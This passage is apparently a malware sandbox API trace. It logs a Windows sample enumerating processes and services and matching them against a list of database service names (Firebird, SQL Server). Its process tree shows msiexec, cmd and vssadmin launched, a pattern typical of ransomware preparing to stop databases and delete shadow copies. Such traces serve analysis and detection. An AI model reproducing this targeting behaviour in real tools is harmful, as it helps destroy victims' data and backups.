(lpString="WinDefend") returned 9 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0126.562] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0126.562] lstrlenW (lpString="Winmgmt") returned 7 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0126.562] lstrlenW (lpString="wscsvc") returned 6 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0126.562] lstrlenW (lpString="wuauserv") returned 8 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0126.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0126.565] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.566] lstrlenW (lpString="System") returned 6 [0126.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.567] lstrlenW (lpString="smss.exe") returned 8 [0126.567] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.568] lstrlenW (lpString="csrss.exe") returned 9 [0126.568] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.569] lstrlenW (lpString="wininit.exe") returned 11 [0126.569] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.569] lstrlenW (lpString="csrss.exe") returned 9 [0126.569] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.570] lstrlenW (lpString="winlogon.exe") returned 12 [0126.570] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.571] lstrlenW (lpString="services.exe") returned 12 [0126.571] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.571] lstrlenW (lpString="lsass.exe") returned 9 [0126.571] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0126.572] lstrlenW (lpString="lsm.exe") returned 7 [0126.572] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.573] lstrlenW (lpString="svchost.exe") returned 11 [0126.573] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.573] lstrlenW (lpString="svchost.exe") returned 11 [0126.573] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.574] lstrlenW (lpString="svchost.exe") returned 11 [0126.574] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.575] lstrlenW (lpString="svchost.exe") returned 11 [0126.575] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.575] lstrlenW (lpString="svchost.exe") returned 11 [0126.575] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.576] lstrlenW (lpString="audiodg.exe") returned 11 [0126.576] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.577] lstrlenW (lpString="svchost.exe") returned 11 [0126.577] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.577] lstrlenW (lpString="svchost.exe") returned 11 [0126.578] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.578] lstrlenW (lpString="dwm.exe") returned 7 [0126.578] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.579] lstrlenW (lpString="explorer.exe") returned 12 [0126.579] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.579] lstrlenW (lpString="spoolsv.exe") returned 11 [0126.579] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0126.580] lstrlenW (lpString="taskhost.exe") returned 12 [0126.580] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.581] lstrlenW (lpString="svchost.exe") returned 11 [0126.581] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0126.582] lstrlenW (lpString="taskeng.exe") returned 11 [0126.582] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0126.582] lstrlenW (lpString="taskhost.exe") returned 12 [0126.582] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0126.583] lstrlenW (lpString="fixwaves.exe") returned 12 [0126.583] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0126.584] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0126.584] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0126.585] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0126.585] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0126.585] lstrlenW (lpString="monsaver.exe") returned 12 [0126.585] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0126.586] lstrlenW (lpString="dosesugar.exe") returned 13 [0126.586] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0126.587] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0126.587] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0126.587] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0126.587] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0126.588] lstrlenW (lpString="nonprofit top.exe") returned 17 [0126.588] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0126.880] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0126.880] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0126.881] lstrlenW (lpString="accused.exe") returned 11 [0126.881] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0126.882] lstrlenW (lpString="governance.exe") returned 14 [0126.882] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0126.883] lstrlenW (lpString="old.exe") returned 7 [0126.883] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0126.884] lstrlenW (lpString="xi cg.exe") returned 9 [0126.884] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0126.884] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0126.884] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0126.885] lstrlenW (lpString="burlington.exe") returned 14 [0126.885] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0126.886] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0126.886] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0126.886] lstrlenW (lpString="buildings.exe") returned 13 [0126.886] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0126.909] lstrlenW (lpString="predictions_took.exe") returned 20 [0126.909] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0126.910] lstrlenW (lpString="carry_dns.exe") returned 13 [0126.910] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0126.911] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0126.911] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.912] lstrlenW (lpString="svchost.exe") returned 11 [0126.912] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0126.913] lstrlenW (lpString="sppsvc.exe") returned 10 [0126.913] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.913] lstrlenW (lpString="svchost.exe") returned 11 [0126.913] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0126.914] lstrlenW (lpString="msiexec.exe") returned 11 [0126.914] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0126.915] lstrlenW (lpString="cmd.exe") returned 7 [0126.915] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.915] lstrlenW (lpString="conhost.exe") returned 11 [0126.915] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0126.916] lstrlenW (lpString="vssadmin.exe") returned 12 [0126.916] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0126.917] lstrlenW (lpString="VSSVC.exe") returned 9 [0126.917] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.918] lstrlenW (lpString="svchost.exe") returned 11 [0126.918] Process32NextW (in: hSnapshot=0x1d4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0126.918] CloseHandle (hObject=0x1d4) returned 1 [0126.918] Sleep (dwMilliseconds=0x1f4) [0127.603] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0127.603] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0127.603] GetLastError () returned 0xea [0127.603] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0127.604] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0127.604] lstrlenW (lpString="Appinfo") returned 7 [0127.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0127.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0127.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0127.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0127.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0127.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0127.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0127.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0127.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0127.604] lstrlenW (lpString="AudioSrv") returned 8 [0127.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0127.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0127.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0127.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0127.605] lstrlenW (lpString="BFE") returned 3 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0127.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0127.605] lstrlenW (lpString="CryptSvc") returned 8 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0127.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0127.605] lstrlenW (lpString="CscService") returned 10 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0127.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0127.605] lstrlenW 